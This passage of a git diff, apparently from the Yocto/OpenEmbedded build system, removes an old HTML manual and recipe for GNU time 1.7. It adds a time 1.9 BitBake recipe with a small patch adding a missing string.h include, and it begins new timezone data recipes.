-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC1"> &lt;&lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top"> Up </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[ &gt;&gt; ]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H3> 1.2.3 I/O Resources </H3>
-+<!--docid::SEC6::-->
-+<P>
-+
-+</P>
-+<DL COMPACT>
-+<DT><CODE>F</CODE>
-+<DD>Number of major, or I/O-requiring, page faults that occurred while the
-+process was running. These are faults where the page has actually
-+migrated out of primary memory.
-+<P>
-+
-+</P>
-+<DT><CODE>R</CODE>
-+<DD>Number of minor, or recoverable, page faults. These are pages that are
-+not valid (so they fault) but which have not yet been claimed by other
-+virtual pages. Thus the data in the page is still valid but the system
-+tables must be updated.
-+<P>
-+
-+</P>
-+<DT><CODE>W</CODE>
-+<DD>Number of times the process was swapped out of main memory.
-+<P>
-+
-+</P>
-+<DT><CODE>c</CODE>
-+<DD>Number of times the process was context-switched involuntarily (because
-+the time slice expired).
-+<P>
-+
-+</P>
-+<DT><CODE>w</CODE>
-+<DD>Number of times that the program was context-switched voluntarily, for
-+instance while waiting for an I/O operation to complete.
-+<P>
-+
-+</P>
-+<DT><CODE>I</CODE>
-+<DD>Number of file system inputs by the process.
-+<P>
-+
-+</P>
-+<DT><CODE>O</CODE>
-+<DD>Number of file system outputs by the process.
-+<P>
-+
-+</P>
-+<DT><CODE>r</CODE>
-+<DD>Number of socket messages received by the process.
-+<P>
-+
-+</P>
-+<DT><CODE>s</CODE>
-+<DD>Number of socket messages sent by the process.
-+<P>
-+
-+</P>
-+<DT><CODE>k</CODE>
-+<DD>Number of signals delivered to the process.
-+</DL>
-+<P>
-+
-+<A NAME="Command Info"></A>
-+<HR SIZE="6">
-+<A NAME="SEC7"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC6"> &lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC8"> &gt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC1"> &lt;&lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top"> Up </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[ &gt;&gt; ]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H3> 1.2.4 Command Info </H3>
-+<!--docid::SEC7::-->
-+<P>
-+
-+</P>
-+<DL COMPACT>
-+<DT><CODE>C</CODE>
-+<DD>Name and command line arguments of the command being timed.
-+<P>
-+
-+</P>
-+<DT><CODE>x</CODE>
-+<DD>Exit status of the command.
-+</DL>
-+<P>
-+
-+<A NAME="Redirecting"></A>
-+<HR SIZE="6">
-+<A NAME="SEC8"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC7"> &lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC9"> &gt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC1"> &lt;&lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top"> Up </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[ &gt;&gt; ]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H2> 1.3 Redirecting Output </H2>
-+<!--docid::SEC8::-->
-+<P>
-+
-+By default, <CODE>time</CODE> writes the resource use statistics to the
-+standard error stream. The options below make it write the statistics
-+to a file instead. Doing this can be useful if the program you're
-+running writes to the standard error or you're running <CODE>time</CODE>
-+noninteractively or in the background.
-+</P>
-+<P>
-+
-+</P>
-+<DL COMPACT>
-+<DT><CODE>-o <VAR>file</VAR></CODE>
-+<DD><DT><CODE>--output=<VAR>file</VAR></CODE>
-+<DD>Write the resource use statistics to <VAR>file</VAR>. By default, this
-+<EM>overwrites</EM> the file, destroying the file's previous contents.
-+<P>
-+
-+</P>
-+<DT><CODE>-a</CODE>
-+<DD><DT><CODE>--append</CODE>
-+<DD><EM>Append</EM> the resource use information to the output file instead
-+of overwriting it. This option is only useful with the `<SAMP>-o</SAMP>' or
-+`<SAMP>--output</SAMP>' option.
-+</DL>
-+<P>
-+
-+<A NAME="Examples"></A>
-+<HR SIZE="6">
-+<A NAME="SEC9"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC8"> &lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC10"> &gt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC1"> &lt;&lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top"> Up </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[ &gt;&gt; ]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H2> 1.4 Examples </H2>
-+<!--docid::SEC9::-->
-+<P>
-+
-+Run the command `<SAMP>wc /etc/hosts</SAMP>' and show the default information:
-+</P>
-+<P>
-+
-+<TABLE><tr><td>&nbsp;</td><td class=example><pre>eg$ time wc /etc/hosts
-+ 35 111 1134 /etc/hosts
-+0.00user 0.01system 0:00.04elapsed 25%CPU (0avgtext+0avgdata 0maxresident)k
-+1inputs+1outputs (0major+0minor)pagefaults 0swaps
-+</pre></td></tr></table><P>
-+
-+Run the command `<SAMP>ls -Fs</SAMP>' and show just the user, system, and
-+wall-clock time:
-+</P>
-+<P>
-+
-+<TABLE><tr><td>&nbsp;</td><td class=example><pre>eg$ time -f &quot;\t%E real,\t%U user,\t%S sys&quot; ls -Fs
-+total 16
-+1 account/ 1 db/ 1 mail/ 1 run/
-+1 backups/ 1 emacs/ 1 msgs/ 1 rwho/
-+1 crash/ 1 games/ 1 preserve/ 1 spool/
-+1 cron/ 1 log/ 1 quotas/ 1 tmp/
-+ 0:00.03 real, 0.00 user, 0.01 sys
-+</pre></td></tr></table><P>
-+
-+Edit the file `<TT>.bashrc</TT>' and have <CODE>time</CODE> append the elapsed time
-+and number of signals to the file `<TT>log</TT>', reading the format string
-+from the environment variable <CODE>TIME</CODE>:
-+</P>
-+<P>
-+
-+<TABLE><tr><td>&nbsp;</td><td class=example><pre>eg$ export TIME=&quot;\t%E,\t%k&quot; # If using bash or ksh
-+eg$ setenv TIME &quot;\t%E,\t%k&quot; # If using csh or tcsh
-+eg$ time -a -o log emacs .bashrc
-+eg$ cat log
-+ 0:16.55, 726
-+</pre></td></tr></table><P>
-+
-+Run the command `<SAMP>sleep 4</SAMP>' and show all of the information about it
-+verbosely:
-+</P>
-+<P>
-+
-+<TABLE><tr><td>&nbsp;</td><td class=example><pre>eg$ time -v sleep 4
-+ Command being timed: &quot;sleep 4&quot;
-+ User time (seconds): 0.00
-+ System time (seconds): 0.05
-+ Percent of CPU this job got: 1%
-+ Elapsed (wall clock) time (h:mm:ss or m:ss): 0:04.26
-+ Average shared text size (kbytes): 36
-+ Average unshared data size (kbytes): 24
-+ Average stack size (kbytes): 0
-+ Average total size (kbytes): 60
-+ Maximum resident set size (kbytes): 32
-+ Average resident set size (kbytes): 24
-+ Major (requiring I/O) page faults: 3
-+ Minor (reclaiming a frame) page faults: 0
-+ Voluntary context switches: 11
-+ Involuntary context switches: 0
-+ Swaps: 0
-+ File system inputs: 3
-+ File system outputs: 1
-+ Socket messages sent: 0
-+ Socket messages received: 0
-+ Signals delivered: 1
-+ Page size (bytes): 4096
-+ Exit status: 0
-+</pre></td></tr></table><P>
-+
-+<A NAME="Accuracy"></A>
-+<HR SIZE="6">
-+<A NAME="SEC10"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC9"> &lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC11"> &gt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC1"> &lt;&lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top"> Up </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[ &gt;&gt; ]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H2> 1.5 Accuracy </H2>
-+<!--docid::SEC10::-->
-+<P>
-+
-+The elapsed time is not collected atomically with the execution of the
-+program; as a result, in bizarre circumstances (if the <CODE>time</CODE>
-+command gets stopped or swapped out in between when the program being
-+timed exits and when <CODE>time</CODE> calculates how long it took to run), it
-+could be much larger than the actual execution time.
-+</P>
-+<P>
-+
-+When the running time of a command is very nearly zero, some values
-+(e.g., the percentage of CPU used) may be reported as either zero (which
-+is wrong) or a question mark.
-+</P>
-+<P>
-+
-+Most information shown by <CODE>time</CODE> is derived from the <CODE>wait3</CODE>
-+system call. The numbers are only as good as those returned by
-+<CODE>wait3</CODE>. Many systems do not measure all of the resources that
-+<CODE>time</CODE> can report on; those resources are reported as zero. The
-+systems that measure most or all of the resources are based on 4.2 or
-+4.3BSD. Later BSD releases use different memory management code that
-+measures fewer resources.
-+</P>
-+<P>
-+
-+On systems that do not have a <CODE>wait3</CODE> call that returns status
-+information, the <CODE>times</CODE> system call is used instead. It provides
-+much less information than <CODE>wait3</CODE>, so on those systems <CODE>time</CODE>
-+reports most of the resources as zero.
-+</P>
-+<P>
-+
-+The `<SAMP>%I</SAMP>' and `<SAMP>%O</SAMP>' values are allegedly only &quot;real&quot; input
-+and output and do not include those supplied by caching devices. The
-+meaning of &quot;real&quot; I/O reported by `<SAMP>%I</SAMP>' and `<SAMP>%O</SAMP>' may be
-+muddled for workstations, especially diskless ones.
-+</P>
-+<P>
-+
-+<A NAME="Invoking time"></A>
-+<HR SIZE="6">
-+<A NAME="SEC11"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC10"> &lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[ &gt; ]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC1"> &lt;&lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top"> Up </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[ &gt;&gt; ]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H2> 1.6 Running the <CODE>time</CODE> Command </H2>
-+<!--docid::SEC11::-->
-+<P>
-+
-+The format of the <CODE>time</CODE> command is:
-+</P>
-+<P>
-+
-+<TABLE><tr><td>&nbsp;</td><td class=example><pre>time [option<small>...</small>] <VAR>command</VAR> [<VAR>arg</VAR><small>...</small>]
-+</pre></td></tr></table><P>
-+
-+<A NAME="IDX5"></A>
-+<CODE>time</CODE> runs the program <VAR>command</VAR>, with any given arguments
-+<VAR>arg</VAR><small>...</small>. When <VAR>command</VAR> finishes, <CODE>time</CODE> displays
-+information about resources used by <VAR>command</VAR> (on the standard error
-+output, by default). If <VAR>command</VAR> exits with non-zero status or is
-+terminated by a signal, <CODE>time</CODE> displays a warning message and the
-+exit status or signal number.
-+</P>
-+<P>
-+
-+Options to <CODE>time</CODE> must appear on the command line before
-+<VAR>command</VAR>. Anything on the command line after <VAR>command</VAR> is
-+passed as arguments to <VAR>command</VAR>.
-+</P>
-+<P>
-+
-+</P>
-+<DL COMPACT>
-+<DT><CODE>-o <VAR>file</VAR></CODE>
-+<DD><DT><CODE>--output=<VAR>file</VAR></CODE>
-+<DD>Write the resource use statistics to <VAR>file</VAR>.
-+<P>
-+
-+</P>
-+<DT><CODE>-a</CODE>
-+<DD><DT><CODE>--append</CODE>
-+<DD><EM>Append</EM> the resource use information to the output file instead
-+of overwriting it.
-+<P>
-+
-+</P>
-+<DT><CODE>-f <VAR>format</VAR></CODE>
-+<DD><DT><CODE>--format=<VAR>format</VAR></CODE>
-+<DD>Use <VAR>format</VAR> as the format string.
-+<P>
-+
-+</P>
-+<DT><CODE>--help</CODE>
-+<DD>Print a summary of the command line options to <CODE>time</CODE> and exit.
-+<P>
-+
-+</P>
-+<DT><CODE>-p</CODE>
-+<DD><DT><CODE>--portability</CODE>
-+<DD>Use the POSIX format.
-+<P>
-+
-+</P>
-+<DT><CODE>-v</CODE>
-+<DD><DT><CODE>--verbose</CODE>
-+<DD><A NAME="IDX6"></A>
-+Use the built-in verbose format.
-+<P>
-+
-+</P>
-+<DT><CODE>-V</CODE>
-+<DD><DT><CODE>--version</CODE>
-+<DD><A NAME="IDX7"></A>
-+Print the version number of <CODE>time</CODE> and exit.
-+</DL>
-+<P>
-+
-+<HR SIZE="6">
-+<A NAME="SEC_Contents"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H1>Table of Contents</H1>
-+<BLOCKQUOTE>
-+<A NAME="TOC1" HREF="time.html#SEC1">1. Measuring Program Resource Use</A>
-+<BR>
-+<BLOCKQUOTE>
-+<A NAME="TOC2" HREF="time.html#SEC2">1.1 Setting the Output Format</A>
-+<BR>
-+<A NAME="TOC3" HREF="time.html#SEC3">1.2 The Format String</A>
-+<BR>
-+<BLOCKQUOTE>
-+<A NAME="TOC4" HREF="time.html#SEC4">1.2.1 Time Resources</A>
-+<BR>
-+<A NAME="TOC5" HREF="time.html#SEC5">1.2.2 Memory Resources</A>
-+<BR>
-+<A NAME="TOC6" HREF="time.html#SEC6">1.2.3 I/O Resources</A>
-+<BR>
-+<A NAME="TOC7" HREF="time.html#SEC7">1.2.4 Command Info</A>
-+<BR>
-+</BLOCKQUOTE>
-+<A NAME="TOC8" HREF="time.html#SEC8">1.3 Redirecting Output</A>
-+<BR>
-+<A NAME="TOC9" HREF="time.html#SEC9">1.4 Examples</A>
-+<BR>
-+<A NAME="TOC10" HREF="time.html#SEC10">1.5 Accuracy</A>
-+<BR>
-+<A NAME="TOC11" HREF="time.html#SEC11">1.6 Running the <CODE>time</CODE> Command</A>
-+<BR>
-+</BLOCKQUOTE>
-+</BLOCKQUOTE>
-+<HR SIZE=1>
-+<A NAME="SEC_OVERVIEW"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H1>Short Table of Contents</H1>
-+<BLOCKQUOTE>
-+<A NAME="TOC1" HREF="time.html#SEC1">1. Measuring Program Resource Use</A>
-+<BR>
-+
-+</BLOCKQUOTE>
-+<HR SIZE=1>
-+<A NAME="SEC_About"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H1>About this document</H1>
-+This document was generated
-+by
-+using <A HREF="http://texi2html.cvshome.org"><I>texi2html</I></A>
-+<P></P>
-+The buttons in the navigation panels have the following meaning:
-+<P></P>
-+<table border = "1">
-+<TR>
-+<TH> Button </TH>
-+<TH> Name </TH>
-+<TH> Go to </TH>
-+<TH> From 1.2.3 go to</TH>
-+</TR>
-+<TR>
-+<TD ALIGN="CENTER">
-+ [ &lt; ] </TD>
-+<TD ALIGN="CENTER">
-+Back
-+</TD>
-+<TD>
-+previous section in reading order
-+</TD>
-+<TD>
-+1.2.2
-+</TD>
-+</TR>
-+<TR>
-+<TD ALIGN="CENTER">
-+ [ &gt; ] </TD>
-+<TD ALIGN="CENTER">
-+Forward
-+</TD>
-+<TD>
-+next section in reading order
-+</TD>
-+<TD>
-+1.2.4
-+</TD>
-+</TR>
-+<TR>
-+<TD ALIGN="CENTER">
-+ [ &lt;&lt; ] </TD>
-+<TD ALIGN="CENTER">
-+FastBack
-+</TD>
-+<TD>
-+beginning of this chapter or previous chapter
-+</TD>
-+<TD>
-+1
-+</TD>
-+</TR>
-+<TR>
-+<TD ALIGN="CENTER">
-+ [ Up ] </TD>
-+<TD ALIGN="CENTER">
-+Up
-+</TD>
-+<TD>
-+up section
-+</TD>
-+<TD>
-+1.2
-+</TD>
-+</TR>
-+<TR>
-+<TD ALIGN="CENTER">
-+ [ &gt;&gt; ] </TD>
-+<TD ALIGN="CENTER">
-+FastForward
-+</TD>
-+<TD>
-+next chapter
-+</TD>
-+<TD>
-+2
-+</TD>
-+</TR>
-+<TR>
-+<TD ALIGN="CENTER">
-+ [Top] </TD>
-+<TD ALIGN="CENTER">
-+Top
-+</TD>
-+<TD>
-+cover (top) of document
-+</TD>
-+<TD>
-+ &nbsp;
-+</TD>
-+</TR>
-+<TR>
-+<TD ALIGN="CENTER">
-+ [Contents] </TD>
-+<TD ALIGN="CENTER">
-+Contents
-+</TD>
-+<TD>
-+table of contents
-+</TD>
-+<TD>
-+ &nbsp;
-+</TD>
-+</TR>
-+<TR>
-+<TD ALIGN="CENTER">
-+ [Index] </TD>
-+<TD ALIGN="CENTER">
-+Index
-+</TD>
-+<TD>
-+concept index
-+</TD>
-+<TD>
-+ &nbsp;
-+</TD>
-+</TR>
-+<TR>
-+<TD ALIGN="CENTER">
-+ [ ? ] </TD>
-+<TD ALIGN="CENTER">
-+About
-+</TD>
-+<TD>
-+this page
-+</TD>
-+<TD>
-+ &nbsp;
-+</TD>
-+</TR>
-+</TABLE>
-+ <P>
-+ where the <STRONG> Example </STRONG> assumes that the current position
-+ is at <STRONG> Subsubsection One-Two-Three </STRONG> of a document of
-+ the following structure:</P>
-+ <UL>
-+ <LI> 1. Section One
-+ <UL>
-+ <LI>1.1 Subsection One-One
-+ <UL>
-+ <LI>...</LI>
-+ </UL>
-+ <LI>1.2 Subsection One-Two
-+ <UL>
-+ <LI>1.2.1 Subsubsection One-Two-One</LI>
-+ <LI>1.2.2 Subsubsection One-Two-Two</LI>
-+ <LI>1.2.3 Subsubsection One-Two-Three &nbsp; &nbsp;
-+ <STRONG>&lt;== Current Position </STRONG></LI>
-+ <LI>1.2.4 Subsubsection One-Two-Four</LI>
-+ </UL>
-+ </LI>
-+ <LI>1.3 Subsection One-Three
-+ <UL>
-+ <LI>...</LI>
-+ </UL>
-+ </LI>
-+ <LI>1.4 Subsection One-Four</LI>
-+ </UL>
-+ </LI>
-+ </UL>
-+
-+<HR SIZE=1>
-+<BR>
-+<FONT SIZE="-1">
-+This document was generated
-+by <I>root</I> on <I>September, 1 2003</I>
-+using <A HREF="http://texi2html.cvshome.org"><I>texi2html</I></A>
-+</FONT>
-+
-+</BODY>
-+</HTML>
diff --git a/meta/recipes-extended/time/time.inc b/meta/recipes-extended/time/time.inc
deleted file mode 100644
index 6b20d7c520..0000000000
--- a/meta/recipes-extended/time/time.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-SUMMARY = "Tool that measures CPU resources"
-DESCRIPTION = "time measures many of the CPU resources, such as time and \
-memory, that other programs use."
-HOMEPAGE = "http://www.gnu.org/software/time/"
-SECTION = "utils"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b"
-
-inherit texinfo update-alternatives
-
-ALTERNATIVE_${PN} = "time"
-ALTERNATIVE_PRIORITY = "100"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch b/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch
new file mode 100644
index 0000000000..f6ea212667
--- /dev/null
+++ b/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch
@@ -0,0 +1,27 @@
+From c8deae54f92d636878097063b411af9fb5262ad3 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 15 Aug 2022 07:24:24 -0700
+Subject: [PATCH] include string.h for memset()
+
+Fixes implicit function declaration warning e.g.
+
+resuse.c:103:3: error: call to undeclared library function 'memset' with type 'void *(void *, int, unsigned long)'
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/bug-time/2022-08/msg00001.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/resuse.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/resuse.c b/src/resuse.c
+index cf5a08c..9d3d18a 100644
+--- a/src/resuse.c
++++ b/src/resuse.c
+@@ -22,6 +22,7 @@
+ */
+
+ #include "config.h"
++#include <string.h>
+ #include <sys/time.h>
+ #include <sys/wait.h>
+ #include <sys/resource.h>
diff --git a/meta/recipes-extended/time/time_1.7.bb b/meta/recipes-extended/time/time_1.7.bb
deleted file mode 100644
index 92c5353d09..0000000000
--- a/meta/recipes-extended/time/time_1.7.bb
+++ /dev/null
@@ -1,11 +0,0 @@
-require time.inc
-
-PR = "r2"
-
-SRC_URI = "${GNU_MIRROR}/time/time-${PV}.tar.gz \
- file://debian.patch"
-
-SRC_URI[md5sum] = "e38d2b8b34b1ca259cf7b053caac32b3"
-SRC_URI[sha256sum] = "e37ea79a253bf85a85ada2f7c632c14e481a5fd262a362f6f4fd58e68601496d"
-
-inherit autotools
diff --git a/meta/recipes-extended/time/time_1.9.bb b/meta/recipes-extended/time/time_1.9.bb
new file mode 100644
index 0000000000..8364210e61
--- /dev/null
+++ b/meta/recipes-extended/time/time_1.9.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Tool that measures CPU resources"
+DESCRIPTION = "time measures many of the CPU resources, such as time and \
+memory, that other programs use."
+HOMEPAGE = "http://www.gnu.org/software/time/"
+SECTION = "utils"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+inherit texinfo update-alternatives
+
+ALTERNATIVE:${PN} = "time"
+ALTERNATIVE_PRIORITY = "100"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI = "${GNU_MIRROR}/time/time-${PV}.tar.gz \
+ file://0001-include-string.h-for-memset.patch \
+ "
+
+SRC_URI[md5sum] = "d2356e0fe1c0b85285d83c6b2ad51b5f"
+SRC_URI[sha256sum] = "fbacf0c81e62429df3e33bda4cee38756604f18e01d977338e23306a3e3b521e"
+
+inherit autotools
diff --git a/meta/recipes-extended/timezone/timezone.inc b/meta/recipes-extended/timezone/timezone.inc
new file mode 100644
index 0000000000..4734adcc08
--- /dev/null
+++ b/meta/recipes-extended/timezone/timezone.inc
@@ -0,0 +1,20 @@
+SUMMARY = "Timezone data"
+DESCRIPTION = "The Time Zone Database contains code and data that represent \
+the history of local time for many representative locations around the globe."
+HOMEPAGE = "http://www.iana.org/time-zones"
+SECTION = "base"
+LICENSE = "PD & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=c679c9d6b02bc2757b3eaf8f53c43fba"
+
+PV = "2024a"
+
+SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz;name=tzcode;subdir=tz \
+ http://www.iana.org/time-zones/repository/releases/tzdata${PV}.tar.gz;name=tzdata;subdir=tz \
+ "
+
+S = "${WORKDIR}/tz"
+
+UPSTREAM_CHECK_URI = "http://www.iana.org/time-zones"
+
+SRC_URI[tzcode.sha256sum] = "80072894adff5a458f1d143e16e4ca1d8b2a122c9c5399da482cb68cba6a1ff8"
+SRC_URI[tzdata.sha256sum] = "0d0434459acbd2059a7a8da1f3304a84a86591f6ed69c6248fffa502b6edffe3"
diff --git a/meta/recipes-extended/timezone/tzcode-native.bb b/meta/recipes-extended/timezone/tzcode-native.bb
new file mode 100644
index 0000000000..d0b23a9d80
--- /dev/null
